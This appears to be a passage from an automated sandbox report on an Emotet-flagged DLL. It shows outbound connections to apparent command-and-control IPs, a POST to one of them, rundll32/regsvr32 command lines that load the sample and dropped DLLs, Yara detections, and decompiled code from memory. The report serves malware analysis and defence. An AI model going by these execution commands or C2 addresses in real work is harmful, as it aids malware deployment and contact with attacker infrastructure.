Mar 17, 2023 17:44:22.442197084 CET	8080	49831	167.172.253.162	192.168.11.20
Mar 17, 2023 17:44:22.943644047 CET	49831	8080	192.168.11.20	167.172.253.162
Mar 17, 2023 17:44:23.083183050 CET	8080	49831	167.172.253.162	192.168.11.20
Mar 17, 2023 17:44:23.584244013 CET	49831	8080	192.168.11.20	167.172.253.162
Mar 17, 2023 17:44:23.694905043 CET	8080	49831	167.172.253.162	192.168.11.20
Mar 17, 2023 17:44:29.022180080 CET	49832	8080	192.168.11.20	1.234.2.232
Mar 17, 2023 17:44:29.286112070 CET	8080	49832	1.234.2.232	192.168.11.20
Mar 17, 2023 17:44:29.801469088 CET	49832	8080	192.168.11.20	1.234.2.232
Mar 17, 2023 17:44:30.065686941 CET	8080	49832	1.234.2.232	192.168.11.20
Mar 17, 2023 17:44:30.567078114 CET	49832	8080	192.168.11.20	1.234.2.232
Mar 17, 2023 17:44:30.830735922 CET	8080	49832	1.234.2.232	192.168.11.20
Mar 17, 2023 17:44:31.332401037 CET	49832	8080	192.168.11.20	1.234.2.232
Mar 17, 2023 17:44:31.596599102 CET	8080	49832	1.234.2.232	192.168.11.20
Mar 17, 2023 17:44:32.097857952 CET	49832	8080	192.168.11.20	1.234.2.232
Mar 17, 2023 17:44:32.362013102 CET	8080	49832	1.234.2.232	192.168.11.20
Mar 17, 2023 17:44:37.771064997 CET	49834	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:37.771198034 CET	443	49834	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:37.771441936 CET	49834	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:37.771828890 CET	49834	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:37.771898985 CET	443	49834	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.054105997 CET	443	49834	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.054717064 CET	49835	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.054805994 CET	443	49835	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.055016994 CET	49835	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.055208921 CET	49835	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.055253029 CET	443	49835	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.340270996 CET	443	49835	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.340790033 CET	49836	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.340917110 CET	443	49836	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.341070890 CET	49836	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.341237068 CET	49836	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:38.341425896 CET	443	49836	159.89.202.34	192.168.11.20
Mar 17, 2023 17:44:38.341639042 CET	49836	443	192.168.11.20	159.89.202.34
Mar 17, 2023 17:44:43.769171953 CET	49837	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:43.769309998 CET	443	49837	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:43.769537926 CET	49837	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:43.769929886 CET	49837	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:43.770024061 CET	443	49837	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.004190922 CET	443	49837	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.005050898 CET	49838	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.005167007 CET	443	49838	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.005414963 CET	49838	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.005795002 CET	49838	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.005872011 CET	443	49838	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.241528034 CET	443	49838	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.242183924 CET	49839	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.242290974 CET	443	49839	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.242450953 CET	49839	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.242614985 CET	49839	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:44.242856979 CET	443	49839	186.194.240.217	192.168.11.20
Mar 17, 2023 17:44:44.243117094 CET	49839	443	192.168.11.20	186.194.240.217
Mar 17, 2023 17:44:49.518745899 CET	49840	8080	192.168.11.20	185.4.135.165
Mar 17, 2023 17:44:49.566934109 CET	8080	49840	185.4.135.165	192.168.11.20
Mar 17, 2023 17:44:50.078468084 CET	49840	8080	192.168.11.20	185.4.135.165
Mar 17, 2023 17:44:50.126694918 CET	8080	49840	185.4.135.165	192.168.11.20
Mar 17, 2023 17:44:50.640897036 CET	49840	8080	192.168.11.20	185.4.135.165
Mar 17, 2023 17:44:50.689393044 CET	8080	49840	185.4.135.165	192.168.11.20
Mar 17, 2023 17:44:51.203129053 CET	49840	8080	192.168.11.20	185.4.135.165
Mar 17, 2023 17:44:51.250773907 CET	8080	49840	185.4.135.165	192.168.11.20
Mar 17, 2023 17:44:51.765427113 CET	49840	8080	192.168.11.20	185.4.135.165
Mar 17, 2023 17:44:51.813431025 CET	8080	49840	185.4.135.165	192.168.11.20
Mar 17, 2023 17:44:57.266356945 CET	49841	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:57.266514063 CET	443	49841	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:57.266741037 CET	49841	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:57.267004967 CET	49841	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:57.267102003 CET	443	49841	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.573692083 CET	443	49841	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.574312925 CET	49842	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.574402094 CET	443	49842	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.574652910 CET	49842	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.574857950 CET	49842	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.574918032 CET	443	49842	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.857228994 CET	443	49842	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.860399008 CET	49843	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.860488892 CET	443	49843	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.860719919 CET	49843	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.860852957 CET	49843	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:44:58.861057997 CET	443	49843	139.59.126.41	192.168.11.20
Mar 17, 2023 17:44:58.861268997 CET	49843	443	192.168.11.20	139.59.126.41
Mar 17, 2023 17:45:04.264642000 CET	49844	8080	192.168.11.20	164.68.99.3
Mar 17, 2023 17:45:05.278199911 CET	49844	8080	192.168.11.20	164.68.99.3
Mar 17, 2023 17:45:07.293297052 CET	49844	8080	192.168.11.20	164.68.99.3
Mar 17, 2023 17:45:11.308057070 CET	49844	8080	192.168.11.20	164.68.99.3
Mar 17, 2023 17:45:19.823965073 CET	49845	8080	192.168.11.20	95.217.221.146
Mar 17, 2023 17:45:19.856082916 CET	8080	49845	95.217.221.146	192.168.11.20
Mar 17, 2023 17:45:20.368448019 CET	49845	8080	192.168.11.20	95.217.221.146
Mar 17, 2023 17:45:20.398480892 CET	8080	49845	95.217.221.146	192.168.11.20
Mar 17, 2023 17:45:20.899653912 CET	49845	8080	192.168.11.20	95.217.221.146
Mar 17, 2023 17:45:20.929902077 CET	8080	49845	95.217.221.146	192.168.11.20
Mar 17, 2023 17:45:21.430948019 CET	49845	8080	192.168.11.20	95.217.221.146
Mar 17, 2023 17:45:21.464046001 CET	8080	49845	95.217.221.146	192.168.11.20
Mar 17, 2023 17:45:21.977663040 CET	49845	8080	192.168.11.20	95.217.221.146
Mar 17, 2023 17:45:22.008155107 CET	8080	49845	95.217.221.146	192.168.11.20

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 17, 2023 17:43:28.805680990 CET	103.132.242.26	192.168.11.20	2278	(Unknown)	Destination Unreachable
Mar 17, 2023 17:43:29.806631088 CET	103.132.242.26	192.168.11.20	2278	(Unknown)	Destination Unreachable
Mar 17, 2023 17:43:31.821768999 CET	103.132.242.26	192.168.11.20	2278	(Unknown)	Destination Unreachable
Mar 17, 2023 17:43:35.836711884 CET	103.132.242.26	192.168.11.20	2278	(Unknown)	Destination Unreachable

HTTP Request Dependency Graph

164.90.222.65

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49810	164.90.222.65	443	C:\Windows\System32\regsvr32.exe

Timestamp	Direction	Data
2023-03-17 16:42:33 UTC	OUT	POST /pescnrsqtrnp/icjmpjlu/ HTTP/1.1 Connection: Keep-Alive Content-Length: 0 Host: 164.90.222.65
2023-03-17 16:42:33 UTC	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 17 Mar 2023 16:42:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2023-03-17 16:42:33 UTC	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll64.exePID: 9132, Parent PID: 4808

General

Target ID:	0
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\aOHLlvfakv.dll"
Imagebase:	0x7ff7a5a40000
File size:	139776 bytes
MD5 hash:	C676FC0263EDD17D4CE7D644B8F3FCD6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 9020, Parent PID: 9132

General

Target ID:	1
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff76e060000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 2940, Parent PID: 9132

General

Target ID:	2
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1
Imagebase:	0x7ff785600000
File size:	289792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 3112, Parent PID: 9132

General

Target ID:	3
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\aOHLlvfakv.dll
Imagebase:	0x7ff62d2c0000
File size:	25088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.860427801.0000000001370000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4616, Parent PID: 2940

General

Target ID:	4
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\aOHLlvfakv.dll",#1
Imagebase:	0x7ff6a2320000
File size:	71680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.858695133.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.860577207.000001B91A160000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4588, Parent PID: 9132

General

Target ID:	5
Start time:	17:41:20
Start date:	17/03/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,DllRegisterServer
Imagebase:	0x7ff6a2320000
File size:	71680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.858909413.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.860809198.0000025255CD0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 7556, Parent PID: 4616

General

Target ID:	7
Start time:	17:41:22
Start date:	17/03/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\HRYKmuIti\sEzrCiJYDniwfP.dll"
Imagebase:	0x7ff62d2c0000
File size:	25088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.3286848282.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 00000007.00000002.3282958811.000000000098B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.3285052145.0000000002410000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 9004, Parent PID: 4588

General

Target ID:	8
Start time:	17:41:22
Start date:	17/03/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\LwITFj\lcEQL.dll"
Imagebase:	0x7ff62d2c0000
File size:	25088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 8668, Parent PID: 3112

General

Target ID:	9
Start time:	17:41:22
Start date:	17/03/2023
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YDgQnzosNBGOURNE\pquwSRMRvDBcLA.dll"
Imagebase:	0x7ff62d2c0000
File size:	25088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 3296, Parent PID: 9132

General

Target ID:	10
Start time:	17:41:23
Start date:	17/03/2023
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\aOHLlvfakv.dll,__CPPdebugHook
Imagebase:	0x7ff6a2320000
File size:	71680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 3112, Parent PID: 9132COMMON

Execution Graph

Execution Coverage:	3.5%
Dynamic/Decrypted Code Coverage:	16.4%
Signature Coverage:	19.9%
Total number of Nodes:	146
Total number of Limit Nodes:	3

Executed Functions

Function 01360000 Relevance: 53.5, APIs: 4, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE ref: 01360344
VirtualAlloc.KERNELBASE ref: 0136038A
VirtualProtect.KERNELBASE ref: 0136085C
RtlAddFunctionTable.KERNEL32 ref: 013608E9

Strings

onTa, xrefs: 01360148
nf, xrefs: 01360127
ativ, xrefs: 0136010F
Cach, xrefs: 01360100
rote, xrefs: 013600D5
temI, xrefs: 0136011F
lloc, xrefs: 013600BD
Virt, xrefs: 013600C5
Load, xrefs: 01360095
ualP, xrefs: 013600CD
eSys, xrefs: 01360117
ualA, xrefs: 013600B5
aryA, xrefs: 013600A5
ct, xrefs: 013600DD
hIns, xrefs: 013600EB
ncti, xrefs: 01360141
Flus, xrefs: 013600E4
Slee, xrefs: 01360084
truc, xrefs: 013600F2
RtlA, xrefs: 01360133
tion, xrefs: 013600F9
Virt, xrefs: 013600AD
GetN, xrefs: 01360107
o, xrefs: 0136012E
ddFu, xrefs: 0136013A
Libr, xrefs: 0136009D

Memory Dump Source

Source File: 00000003.00000002.860394981.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1360000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocFunctionInfoNativeProtectSystemTable
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 998211078-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: 26617da6de534b55a789c40afcd5c8ad13f0a331d641d4bfa85b20cf5f8af0c6
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: E5520430618B488BD71DDF18D8867BAB7E5FB84308F14862DE88BC7255DB34E542CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0043F160 Relevance: 45.9, APIs: 17, Strings: 9, Instructions: 387
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E0043F160(signed int __ebx, intOrPtr __ecx, void* __edi, intOrPtr* __rax, signed char* __rdx, void* __r8, void* __r9, void* __r11) {
				void* __r15;
				int _t55;
				intOrPtr _t59;
				void* _t64;
				int _t66;
				int _t70;
				int _t72;
				void* _t74;
				signed int _t92;
				signed int _t108;
				int _t111;
				intOrPtr* _t129;
				int _t130;
				intOrPtr _t132;
				intOrPtr _t134;
				intOrPtr* _t136;
				long long _t139;
				intOrPtr _t140;
				intOrPtr _t148;
				intOrPtr _t149;
				intOrPtr _t151;
				intOrPtr _t152;
				int _t153;
				intOrPtr* _t155;
				intOrPtr _t157;
				intOrPtr _t158;
				intOrPtr _t159;
				intOrPtr _t168;
				intOrPtr _t182;
				intOrPtr _t183;
				void* _t208;
				intOrPtr* _t210;
				signed char* _t211;
				void* _t212;
				void* _t213;
				void* _t214;
				void* _t215;
				void* _t216;
				void* _t217;
				void* _t218;
				char* _t219;

				_t216 = __r11;
				_t215 = __r9;
				_t214 = __r8;
				_t188 = __rdx;
				_t129 = __rax;
				_t82 = __ecx;
				_t76 = __ebx;
				_t212 = _t213 + 0x80;
				asm("movaps [ebp+0x1b0], xmm6");
				_t211 = __rdx;
				r14d = __ecx;
				r15d = 0;
				_t112 = __rdx;
				if(__rdx == 0) {
					__eflags = 0;
				} else {
					_t48 = L00436EF0(__edi, _t112, __rax, __rdx);
					_t210 = _t129;
				}
				EnterCriticalSection();
				_t130 =  *0x45f040; // 0x45eff8
				if(_t130 == 0 || _t130 == 0x45eff8) {
					r15d = 0;
					_t76 = _t76 & 0xffffff00 | _t130 == 0x0045eff8;
					_t82 = 1;
					E004326F0();
					 *0x45f040 = _t130;
					if(_t130 == 0) {
						L0044D430();
						E00432710();
						goto L64;
					} else {
						r15b = _t76;
						goto L7;
					}
				} else {
					L7:
					if( *((intOrPtr*)(_t130 + 0x38)) != 0) {
						E00432710();
						_t130 =  *0x45f040; // 0x45eff8
						 *((long long*)(_t130 + 0x38)) = 0;
					}
					if(_t210 == 0) {
						__eflags = r15d;
						if(r15d == 0) {
							__eflags = sil & 0x00000004;
							if(__eflags != 0) {
								E0043FC60(__eflags, _t130, _t130, "LC_MONETARY");
								__eflags = sil & 0x00000010;
								if(__eflags == 0) {
									L21:
									__eflags = sil & 0x00000020;
									if(__eflags != 0) {
										L27:
										_t148 =  *0x45f040; // 0x45eff8
										E0043FC60(__eflags, _t130, _t148, "LC_TIME");
										__eflags = sil & 0x00000001;
										if(__eflags == 0) {
											L23:
											__eflags = sil & 0x00000002;
											if(__eflags != 0) {
												L29:
												_t149 =  *0x45f040; // 0x45eff8
												E0043FC60(__eflags, _t130, _t149, "LC_CTYPE");
												goto L56;
											}
											goto L56;
										}
										L28:
										_t151 =  *0x45f040; // 0x45eff8
										E0043FC60(__eflags, _t130, _t151, "LC_COLLATE");
										__eflags = sil & 0x00000002;
										if(__eflags == 0) {
											goto L56;
										}
										goto L29;
									}
									L22:
									__eflags = sil & 0x00000001;
									if(__eflags != 0) {
										goto L28;
									}
									goto L23;
								}
								L26:
								_t152 =  *0x45f040; // 0x45eff8
								E0043FC60(__eflags, _t130, _t152, "LC_NUMERIC");
								__eflags = sil & 0x00000020;
								if(__eflags == 0) {
									goto L22;
								}
								goto L27;
							}
							__eflags = sil & 0x00000010;
							if(__eflags != 0) {
								goto L26;
							}
							goto L21;
						}
						_t153 = _t130;
						goto L51;
					} else {
						if( *_t210 == 0) {
							L0044D360();
							_t111 = _t48;
							r9d = 7;
							_t214 = _t212 - 0x60;
							GetLocaleInfoA(??, ??, ??, ??);
							_t59 = E004434F0(__eflags, _t212 - 0x60, _t188);
							_t155 =  *0x45f040; // 0x45eff8
							 *_t155 = _t59;
							 *((intOrPtr*)(_t155 + 8)) = 0;
							L52:
							 *(_t155 + 4) = _t111;
							E00432710();
							_t48 = IsValidLocale(??, ??);
							__eflags = _t48;
							_t134 =  *0x45f040; // 0x45eff8
							if(_t48 != 0) {
								L54:
								_t55 = SetThreadLocale();
								_t157 =  *0x45f040; // 0x45eff8
								__eflags =  *(_t157 + 8);
								if( *(_t157 + 8) == 0) {
									E0043F880(_t55, _t157);
									_t158 =  *0x45f040; // 0x45eff8
									_t48 = E00440060(_t76, r14d, _t134, _t158, _t214);
									__eflags = _t48;
									if(_t48 == 0) {
										L62:
										SetLastError();
										__eflags = r15d;
										if(r15d != 0) {
											_t159 =  *0x45f040; // 0x45eff8
											_t48 = E0043F880(_t48, _t159);
											E00432710();
											 *0x45f040 = 0x45eff8;
										}
										L64:
										LeaveCriticalSection();
										L65:
										__eflags = 0;
										L66:
										asm("movaps xmm6, [ebp+0x1b0]");
										return _t48;
									}
									_t136 =  *0x45f040; // 0x45eff8
									_t48 = E00446050(_t48,  *_t136, _t136, _t214, _t215, _t216, _t218);
									__eflags = _t48;
									if(_t48 == 0) {
										_t48 = GetCPInfo();
										__eflags = _t48;
										if(_t48 == 0) {
											goto L59;
										}
										 *0x45edf0 =  *((intOrPtr*)(_t212 + 0xa0));
										L56:
										_t48 = E00441DA0();
										_t132 =  *0x45f040; // 0x45eff8
										_t40 = _t132 + 0x38; // 0x4508d9
										_t211 =  *_t40;
										LeaveCriticalSection(??);
										goto L66;
									}
									L59:
									LeaveCriticalSection();
									SetLastError(??);
									goto L65;
								}
								 *0x45edf0 = 1;
								goto L56;
							}
							__eflags =  *(_t134 + 8);
							if( *(_t134 + 8) == 0) {
								goto L62;
							}
							goto L54;
						}
						E00436FB0(_t211, "en_US", _t216);
						if(_t130 == 0) {
							E00436FB0(_t211, "en_GB", _t216);
							__eflags = _t130;
							if(_t130 == 0) {
								E00436FB0(_t211, "fr_FR", _t216);
								__eflags = _t130;
								if(_t130 == 0) {
									E00436FB0(_t211, "de_DE", _t216);
									__eflags = _t130;
									if(_t130 == 0) {
										L36:
										if(E00437D90(_t211, "C") == 0) {
											_t153 =  *0x45f040; // 0x45eff8
											L51:
											E0043F880(_t48, _t153);
											E00432710();
											_t155 = 0x45eff8;
											 *0x45f040 = 0x45eff8;
											_t111 = 0;
											__eflags = 0;
											goto L52;
										}
										if( *_t210 != 0x4c ||  *((char*)(_t210 + 1)) != 0x43 ||  *((char*)(_t210 + 2)) != 0x5f) {
											_t168 =  *0x45f040; // 0x45eff8
											 *((intOrPtr*)(_t168 + 8)) = 0;
											_t48 = E0043FDE0(_t82, _t130, _t168, _t210, _t215, _t216);
											_t111 = _t48;
											__eflags = _t111;
											if(_t111 == 0) {
												__eflags = r15d;
												if(r15d != 0) {
													E00432710();
													 *0x45f040 = 0x45eff8;
												}
												LeaveCriticalSection();
												E00432710();
												goto L65;
											}
											_t155 =  *0x45f040; // 0x45eff8
											goto L52;
										} else {
											E00432710();
											LeaveCriticalSection(??);
											_t139 =  *0x45f040; // 0x45eff8
											 *((long long*)(_t212 + 0x1a8)) = _t139;
											EnterCriticalSection(??);
											asm("xorps xmm6, xmm6");
											asm("movaps [ebp+0x190], xmm6");
											asm("movaps [ebp+0x180], xmm6");
											asm("movaps [ebp+0x170], xmm6");
											asm("movaps [ebp+0x160], xmm6");
											asm("movaps [ebp+0x150], xmm6");
											asm("movaps [ebp+0x140], xmm6");
											asm("movaps [ebp+0x130], xmm6");
											asm("movaps [ebp+0x120], xmm6");
											asm("movaps [ebp+0x110], xmm6");
											asm("movaps [ebp+0x100], xmm6");
											asm("movaps [ebp+0xf0], xmm6");
											asm("movaps [ebp+0xe0], xmm6");
											asm("movaps [ebp+0xd0], xmm6");
											asm("movaps [ebp+0xc0], xmm6");
											asm("movaps [ebp+0xb0], xmm6");
											asm("movaps [ebp+0xa0], xmm6");
											_t64 = 0;
											_t217 = _t212 + 0xa0;
											_t219 = "LC_COLLATE";
											r13d = 0;
											while(1) {
												_t92 =  *_t211 & 0x000000ff;
												if(_t92 == 0xa) {
													goto L42;
												}
												L44:
												if(_t92 == 0x3d) {
													_t66 = E00437D90(_t217, "LC_CTYPE");
													r12d = r13d;
													r12d = r12d | 0x00000002;
													__eflags = _t66;
													r12w =  !=  ? r13w : r12w;
													__eflags = E00437D90(_t217, "LC_TIME");
													_t79 =  !=  ? r12w : r12d | 0x00000020;
													__eflags = E00437D90(_t217, "LC_NUMERIC");
													_t108 =  !=  ?  !=  ? r12w : r12d | 0x00000020 : ( !=  ? r12w : r12d | 0x00000020) | 0x00000010;
													__eflags = E00437D90(_t217, "LC_MONETARY");
													_t76 =  !=  ? _t108 : _t108 | 0x00000004;
													_t70 = E00437D90(_t217, _t219);
													r13d = 0;
													__eflags = _t70;
													r13b = _t70 == 0;
													r13d = r13d | ( !=  ? _t108 : _t108 | 0x00000004);
													L41:
													asm("movaps [ebp+0x190], xmm6");
													asm("movaps [ebp+0x180], xmm6");
													asm("movaps [ebp+0x170], xmm6");
													asm("movaps [ebp+0x160], xmm6");
													asm("movaps [ebp+0x150], xmm6");
													asm("movaps [ebp+0x140], xmm6");
													asm("movaps [ebp+0x130], xmm6");
													asm("movaps [ebp+0x120], xmm6");
													asm("movaps [ebp+0x110], xmm6");
													asm("movaps [ebp+0x100], xmm6");
													asm("movaps [ebp+0xf0], xmm6");
													asm("movaps [ebp+0xe0], xmm6");
													asm("movaps [ebp+0xd0], xmm6");
													asm("movaps [ebp+0xc0], xmm6");
													asm("movaps [ebp+0xb0], xmm6");
													asm("movaps [ebp+0xa0], xmm6");
													_t211 =  &(_t211[1]);
													_t64 = 0;
													while(1) {
														_t92 =  *_t211 & 0x000000ff;
														if(_t92 == 0xa) {
															goto L42;
														}
														goto L44;
													}
													goto L42;
												}
												if(_t92 == 0) {
													_t211 =  *((intOrPtr*)(_t212 + 0x1a8));
													_t211[4] = E0043FDE0(_t92, _t139, _t211, _t212 - 0x60, _t215, _t216);
													_t48 = IsValidLocale(??, ??);
													__eflags = _t48;
													if(_t48 != 0) {
														L74:
														_t140 =  *0x45f040; // 0x45eff8
														_t72 = SetThreadLocale(??);
														_t182 =  *0x45f040; // 0x45eff8
														E0043F880(_t72, _t182);
														_t183 =  *0x45f040; // 0x45eff8
														_t48 = E00440060(_t76, r13d, _t140, _t183, _t214);
														__eflags = _t48;
														if(_t48 != 0) {
															goto L56;
														}
														SetLastError();
														goto L64;
													}
													__eflags = _t211[8];
													if(_t211[8] == 0) {
														SetLastError();
														goto L64;
													}
													goto L74;
												}
												_t208 = _t64;
												_t64 = _t64 + 1;
												 *(_t212 + _t208 + 0xa0) = _t92;
												_t211 =  &(_t211[1]);
												continue;
												L42:
												E00437D50(_t64, _t212 - 0x60, _t217);
												goto L41;
											}
										}
									}
									 *_t210 = 0x554544;
